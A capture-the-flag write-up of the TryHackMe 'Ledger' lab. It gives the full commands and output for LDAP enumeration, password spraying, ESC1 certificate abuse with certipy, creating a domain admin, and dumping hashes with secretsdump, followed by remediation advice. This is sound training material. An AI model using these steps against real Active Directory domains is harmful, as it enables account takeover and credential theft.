
Ledger
Platform : TryHackMe
Type : boot2root
Difficulty : ⭐⭐⭐⭐☆
Table of contents
Reconnaissance
Nmap scan
Nmap scan report for 10.10.37.220
Host is up (0.033s latency).
Not shown: 65210 closed tcp ports (conn-refused), 295 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-11 13:25:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after: 2026-07-11T13:00:08
| MD5: c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-12T07:26:00
| Not valid after: 2028-05-12T07:35:59
| MD5: c2493bc6fd31f2aa83cb2774bc669151
|_SHA-1: 397a54dfc1fff9fd57e4a94400e8cfdb6e3a972b
|_http-title: IIS Windows Server
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after: 2026-07-11T13:00:08
| MD5: c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after: 2026-07-11T13:00:08
| MD5: c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: thm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:labyrinth.thm.local
| Issuer: commonName=thm-LABYRINTH-CA
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-11T13:00:08
| Not valid after: 2026-07-11T13:00:08
| MD5: c77328aa1ee9ed3aaa4a9eb4994073cc
|_SHA-1: 73245c813bcf4f72c4527dd71e11a1e58c1fa402
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-07-11T13:25:57+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: THM
| NetBIOS_Domain_Name: THM
| NetBIOS_Computer_Name: LABYRINTH
| DNS_Domain_Name: thm.local
| DNS_Computer_Name: labyrinth.thm.local
| Product_Version: 10.0.17763
|_ System_Time: 2025-07-11T13:25:49+00:00
| ssl-cert: Subject: commonName=labyrinth.thm.local
| Issuer: commonName=labyrinth.thm.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-10T13:09:10
| Not valid after: 2026-01-09T13:09:10
| MD5: d6eb8fefa7a95ccddb62df932af4a540
|_SHA-1: 1723015f403f3ccbd91082c609feea05c65a43aa
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49682/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
49711/tcp open msrpc Microsoft Windows RPC
49719/tcp open msrpc Microsoft Windows RPC
49795/tcp open msrpc Microsoft Windows RPC
Service Info: Host: LABYRINTH; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
| date: 2025-07-11T13:25:52
|_ start_date: N/A
NSE: Script Post-scanning.
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Initiating NSE at 13:25
Completed NSE at 13:25, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 98.39 secondsAccording to the open ports we found, the target host is a domain controller. Nmap found the domain name and the FQDN of the host. We can add them to our /etc/hosts file :
┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.37.220 thm.local labyrinth.thm.localLDAP reconnaissance
Using nxc, we can try to retrieve domain objects from LDAP :
┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ nxc ldap thm.local -d "thm.local" --query '(objectClass=*)' '' --log nxc_ldap_dump.txt
LDAP 10.10.38.166 389 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local)
LDAP 10.10.38.166 389 LABYRINTH [+] Response for object: DC=thm,DC=local
LDAP 10.10.38.166 389 LABYRINTH objectClass top
LDAP 10.10.38.166 389 LABYRINTH domain
LDAP 10.10.38.166 389 LABYRINTH domainDNS
LDAP 10.10.38.166 389 LABYRINTH distinguishedName DC=thm,DC=local
LDAP 10.10.38.166 389 LABYRINTH instanceType 5
LDAP 10.10.38.166 389 LABYRINTH whenCreated 20230512072440.0Z
LDAP 10.10.38.166 389 LABYRINTH whenChanged 20251016080933.0Z
LDAP 10.10.38.166 389 LABYRINTH subRefs DC=ForestDnsZones,DC=thm,DC=local
<SNIP>By looking at the descriptions of some users, we can find something that look like a default password in clear-text :
┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ cat nxc_ldap_dump.txt | grep description -a
2025-10-16 04:11:46 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Please change it: CHANGEME2023!
2025-10-16 04:11:46 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Finance
2025-10-16 04:11:46 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Office of the General Counsel
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Field Services
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description AWS Stuff
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Endpoint System Management
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Information Security
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Information Technology Services
2025-10-16 04:11:47 | ldap.py:934 - INFO - LDAP 10.10.38.166 389 LABYRINTH description Please change it: CHANGEME2023!We can perform another LDAP query to retrieve only usernames of accounts having this description containing a password :
┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ nxc ldap thm.local -d "thm.local" --query '(description=Please change it*)' 'sAMAccountName' | grep 'sAMAccountName' | rev | cut -d ' ' -f 1 | rev > users.txtThe file users.txt we just created contains all usernames that may still use the default password specified in their description.
Password spraying
Using the usernames wordlist we created and the default password we found, we can perform a password spraying attack to see if any of those accounts is still using the default password :
┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ nxc smb thm.local -d "thm.local" -u users.txt -p 'CHANGEME2023!' --continue-on-success
SMB 10.10.182.227 445 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 x64 (name:LABYRINTH) (domain:thm.local) (signing:True) (SMBv1:False)
SMB 10.10.182.227 445 LABYRINTH [+] thm.local\IVY_WILLIS:CHANGEME2023!
SMB 10.10.182.227 445 LABYRINTH [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023!Both user accounts were still using the default password.
Bloodhound
Using any of the two valid credentials we found, we can use bloodhound-python to retrieve more information on domain objects and relations to see if there is any clear path to escalate our privileges in the domain :
┌──(kali㉿kali)-[~/Desktop/Ledger]
└─$ bloodhound-python -c All -u 'IVY_WILLIS' -d 'thm.local' -p 'CHANGEME2023!' --zip -ns 10.10.182.227
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: thm.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: labyrinth.thm.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: labyrinth.thm.local
INFO: Found 493 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 222 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: labyrinth.thm.local
INFO: Done in 00M 13S
INFO: Compressing output into 20251016050058_bloodhound.zipAfter loading the generated zip file in Bloodhound, we can search for IVY_WILLIS and see if this account has interesting outbound object controls or is member of privileged groups :

IVY_WILLIS is member of the Remote Management Users group, but since port 5985 is closed, we cannot obtain a shell via WinRM. Let’s see if the other user has more useful permissions / group membership :

SUSANNA_MCKNIGHT is member of the Remote Desktop Users group, which means she may be able to connect to the domain controller via RDP. Using remmina, we can try to obtain a foothold on the domain controller :

After entering those credentials, we should have a graphical session on the domain controller :

Post-exploitation
AD-CS reconnaissance
On our RDP session, when opening a command prompt and listing our group membership, we can notice some groups that were not visible with Bloodhound :
C:\Users\SUSANNA_MCKNIGHT>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192The Certificate Service DCOM Access group indicates the presence of AD CS (Active Directory Certificate Services). Using certipy, we can search for vulnerable certificate templates :
┌──(kali㉿kali)-[~]
└─$ certipy-ad find -vulnerable -stdout -u SUSANNA_MCKNIGHT@thm.local -p 'CHANGEME2023!' -dc-ip 10.10.182.227
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 14 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'thm-LABYRINTH-CA' via RRP
[*] Successfully retrieved CA configuration for 'thm-LABYRINTH-CA'
[*] Checking web enrollment for CA 'thm-LABYRINTH-CA' @ 'labyrinth.thm.local'
[*] Enumeration output:
Certificate Authorities
0
CA Name : thm-LABYRINTH-CA
DNS Name : labyrinth.thm.local
Certificate Subject : CN=thm-LABYRINTH-CA, DC=thm, DC=local
Certificate Serial Number : 5225C02DD750EDB340E984BC75F09029
Certificate Validity Start : 2023-05-12 07:26:00+00:00
Certificate Validity End : 2028-05-12 07:35:59+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : THM.LOCAL\Administrators
Access Rights
ManageCa : THM.LOCAL\Administrators
THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
ManageCertificates : THM.LOCAL\Administrators
THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
Enroll : THM.LOCAL\Authenticated Users
Certificate Templates
0
Template Name : ServerAuth
Display Name : ServerAuth
Certificate Authorities : thm-LABYRINTH-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2023-05-12T08:55:40+00:00
Template Last Modified : 2023-05-12T08:55:40+00:00
Permissions
Enrollment Permissions
Enrollment Rights : THM.LOCAL\Domain Admins
THM.LOCAL\Domain Computers
THM.LOCAL\Enterprise Admins
THM.LOCAL\Authenticated Users
Object Control Permissions
Owner : THM.LOCAL\Administrator
Full Control Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
Write Owner Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
Write Dacl Principals : THM.LOCAL\Domain Admins
THM.LOCAL\Enterprise Admins
Write Property Enroll : THM.LOCAL\Domain Admins
THM.LOCAL\Domain Computers
THM.LOCAL\Enterprise Admins
[+] User Enrollable Principals : THM.LOCAL\Authenticated Users
THM.LOCAL\Domain Computers
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.Certipy found one vulnerable template. The template ServerAuth authorize the Client Authentication in the EKU and has the flag EnrolleeSuppliesSubject, which means it is vulnerable to ESC1.
Privilege escalation
We can use this template to request a certificate impersonating another user by specifying an arbitrary subject using the -upn option :
┌──(kali㉿kali)-[~]
└─$ certipy-ad req -u SUSANNA_MCKNIGHT@thm.local -p 'CHANGEME2023!' -ca thm-LABYRINTH-CA -template ServerAuth -upn Administrator
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: THM.LOCAL.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 26
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'We successfully requested a certificate for the Administrator user. Now, we can try to use it to authenticate and try to obtain the NT hash :
┌──(kali㉿kali)-[~]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.182.227 -u Administrator -domain thm.local
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator'
[*] Using principal: 'administrator@thm.local'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more informationWe get the KDC_ERR_PADATA_TYPE_NOSUPP error. This means Kerberos does not accept this type of authentication. LDAP by default, allows authentication using certificates, so we could just use the certificate we requested and open an LDAP shell.
But there is another problem. If we take a closer look at the group membership of the Administrator account, we can notice something else that will prevent us from authenticating with this account via NTLM (on SMB or other services) :
┌──(kali㉿kali)-[~]
└─$ nxc ldap thm.local -d "thm.local" -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' --query '(sAMAccountName=Administrator)' 'sAMAccountName memberOf userAccountControl'
LDAP 10.10.182.227 389 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local)
LDAP 10.10.182.227 389 LABYRINTH [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023!
LDAP 10.10.182.227 389 LABYRINTH [+] Response for object: CN=Administrator,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH memberOf CN=Protected Users,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Group Policy Creator Owners,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Enterprise Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Schema Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Administrators,CN=Builtin,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH userAccountControl 66048
LDAP 10.10.182.227 389 LABYRINTH sAMAccountName AdministratorThe Administrator user is member of the Protected Users group. According to the official Microsoft documentation :
Protected User accounts that authenticate to a domain running Windows Server are unable to do the following:
- Authenticate with NTLM authentication.
- Use DES or RC4 encryption types in Kerberos preauthentication.
- Delegate with unconstrained or constrained delegation.
- Renew Kerberos TGTs beyond their initial four-hour lifetime.
This means we will not be able use this account to dump domain secrets, connect to SMB or RDP… There are multiple ways to gain domain admin access. In this write-up, I will explain two methods I know.
Method 1 : Create a new domain admin
The easiest way is by creating a new user account and add it to the Domain Admins group. To do so, we can use the certificate we requested and open an LDAP shell using Certipy :
┌──(kali㉿kali)-[~/Desktop/TryHackMe]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.239.175 -u Administrator -domain thm.local -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Connecting to 'ldaps://10.10.239.175:636'
[*] Authenticated to '10.10.239.175' as: 'u:THM\\Administrator'
Type help for list of commands
# Then, we can execute the add_user command to create a new user account :
# add_user john_doe
Attempting to create user in: %s CN=Users,DC=thm,DC=local
Adding new user with username: john_doe and password: 5S9m/_hv'Ey"c%V result: OKThe new user account was successfully created using a randomly generated password. Now, we can add it to the Domain Admins group :
# add_user_to_group john_doe "Domain Admins"
Adding user: john_doe to group Domain Admins result: OKjohn_doe was successfully added to the Domain Admins group. We can now use this user account to authenticate via RDP, SMB or other services with administrative access to the domain controller.
Method 2 : Take over a valid domain admin account
The following method is not the simplest, but can be used to learn more about Active Directory. We will need to find a user account that is not member of the Protected Users group and has the right userAccountControl value. NetExec can be used to retrieve a list of members of the Domain Admins group and their attributes :
┌──(kali㉿kali)-[~]
└─$ nxc ldap thm.local -d "thm.local" -u 'SUSANNA_MCKNIGHT' -p 'CHANGEME2023!' --query '(&(objectCategory=person)(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=thm,DC=local))' 'sAMAccountName memberOf userAccountControl'
LDAP 10.10.182.227 389 LABYRINTH [*] Windows 10 / Server 2019 Build 17763 (name:LABYRINTH) (domain:thm.local)
LDAP 10.10.182.227 389 LABYRINTH [+] thm.local\SUSANNA_MCKNIGHT:CHANGEME2023!
LDAP 10.10.182.227 389 LABYRINTH [+] Response for object: CN=Administrator,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH memberOf CN=Protected Users,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Group Policy Creator Owners,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Enterprise Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Schema Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH CN=Administrators,CN=Builtin,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH userAccountControl 66048
LDAP 10.10.182.227 389 LABYRINTH sAMAccountName Administrator
LDAP 10.10.182.227 389 LABYRINTH [+] Response for object: CN=BERNARD_CARNEY,OU=AZR,OU=Tier 1,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH memberOf CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH userAccountControl 66050
LDAP 10.10.182.227 389 LABYRINTH sAMAccountName BERNARD_CARNEY
LDAP 10.10.182.227 389 LABYRINTH [+] Response for object: CN=BRADLEY_ORTIZ,OU=FSR,OU=Tier 1,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH memberOf CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH userAccountControl 66048
LDAP 10.10.182.227 389 LABYRINTH sAMAccountName BRADLEY_ORTIZ
LDAP 10.10.182.227 389 LABYRINTH [+] Response for object: CN=BEVERLY_FARRELL,OU=AZR,OU=Tier 1,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH memberOf CN=Domain Admins,CN=Users,DC=thm,DC=local
LDAP 10.10.182.227 389 LABYRINTH userAccountControl 66050
LDAP 10.10.182.227 389 LABYRINTH sAMAccountName BEVERLY_FARRELLBERNARD_CARNEY has 66050 for userAccountControl. To understand what it means, we first need to convert this decimal value to binary which gives us 10000001000000010. Each bit represent a specific flag.
We need to read the binary value from right to left. The second bit defines if the user account is disabled. For BERNARD_CARNEY, the value is 1, so the account is disabled. Same for BEVERLY_FARRELL. That leaves us with only BRADLEY_ORTIZ. Change his password from an LDAP shell using Certipy :
┌──(kali㉿kali)-[~/Desktop/TryHackMe]
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.239.175 -u Administrator -domain thm.local -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator'
[*] Connecting to 'ldaps://10.10.239.175:636'
[*] Authenticated to '10.10.239.175' as: 'u:THM\\Administrator'
Type help for list of commands
# change_password bradley_ortiz Password123!
Got User DN: CN=BRADLEY_ORTIZ,OU=FSR,OU=Tier 1,DC=thm,DC=local
Attempting to set new password of: Password123!
Password changed successfully!The password for BRADLEY_ORTIZ was successfully changed, and we can now use this user account to authenticate to the domain controller via RDP, SMB or other services with administrative access. It can also be used to dump domain secrets using impacket-secretsdump :
┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump 'thm.local/BRADLEY_ORTIZ:Password123!'@10.10.104.130
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: <REDACTED>
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
<SNIP>Vulnerabilities summary
AD CS template misconfiguration (ESC1)
| Field | Value |
|---|---|
| Affected component | ServerAuth certificate template |
| CVSS 3.0 score | 8.8 (High) |
| CVSS 3.0 vector | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Impact | The ServerAuth template on AD CS is vulnerable to ESC1. It has the Client Authentication EKU, and has the Certificate Name Flag set to EnrolleeSuppliesSubject. This allows an attacker with access to a valid domain account to impersonate any domain user by requesting a certificate with this template and then use it to authenticate to LDAP for example. Then, the attacker can perform LDAP queries as Administrator (or any impersonated user), such as changing passwords or creating new users with administrative persmissions, resulting in a complete domain compromise.This has a high impact on the confidentiality, integrity, and availability of the domain. |
| Remediation | Avoid combining both Client Authentication EKU and EnrolleeSuppliesSubject for the Certificate Name Flag. According to the official Microsoft documentation, depanding on your needs, you can do the following : – Turn off Supply in the request configuration. – Remove any EKUs that enable user authentication, such as Client Authentication, Smartcard logon, PKINIT client authentication, or Any purpose. – Remove overly permissive enrollment permissions, which allow any user to enroll certificate based on that certificate template. – Certificate templates marked as vulnerable by Defender for Identity have at least one access list entry that supports enrollment for a built-in, unprivileged group, making this exploitable by any user. Examples of built-in, unprivileged groups include Authenticated Users or Everyone. – Turn on the CA certificate Manager approval requirement. – Remove the certificate template from being published by any CA. Templates that aren’t published can’t be requested, and therefore can’t be exploited. |
Information disclosure
| Field | Value |
|---|---|
| Affected component | Some users account on the LDAP directory |
| CVSS 3.0 score | 5.3 (Medium) |
| CVSS 3.0 vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Impact | Some users account have their password stored in the description attribute. Since Guest / Null session access is enabled on LDAP, an attacker can easily read this attribute and retrieve the password for those users, giving him access to their accounts. This has a low impact on the confidentiality since the amount of data sensitive data disclosed is limited. Note that even is the severity of this vulnerability in itself is medium, one of the user accounts was member of the Remote Desktop Users group, allowing an attacker to authenticate via LDAP on the domain controller, which is very dangerous. |
| Remediation | Never store clear-text passwords in description fields or other fields that does not serve this purpose. Also, it is recommanded to use randomly generated passwords when creating new user accounts instead of one global password. Users should also be asked to change their password on first login to ensure their are not still using the default one. This option can be enabled when adding creating a new user account. |
Tools used
| Tool | Usage |
|---|---|
| Nmap | Scan for open ports and services versions |
| Certipy | Perform AD CS enumeration and abuse vulnerable certificate templates |
| NetExec | Perform LDAP queries and password spraying |
| Decimal to binary | Convert decimal value of userAccountControl attribute to binary |
| Impacket | Dump domain secrets (NT hashes, Kerberos keys…) |
Sources
- Protected Users security group : https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group
- Certificate Service DCOM Access : https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#certificate-service-dcom-access
- UserAccountControl flags : https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties#list-of-property-flags
- ESC1 Microsoft documentation : https://learn.microsoft.com/en-us/defender-for-identity/security-assessment-prevent-users-request-certificate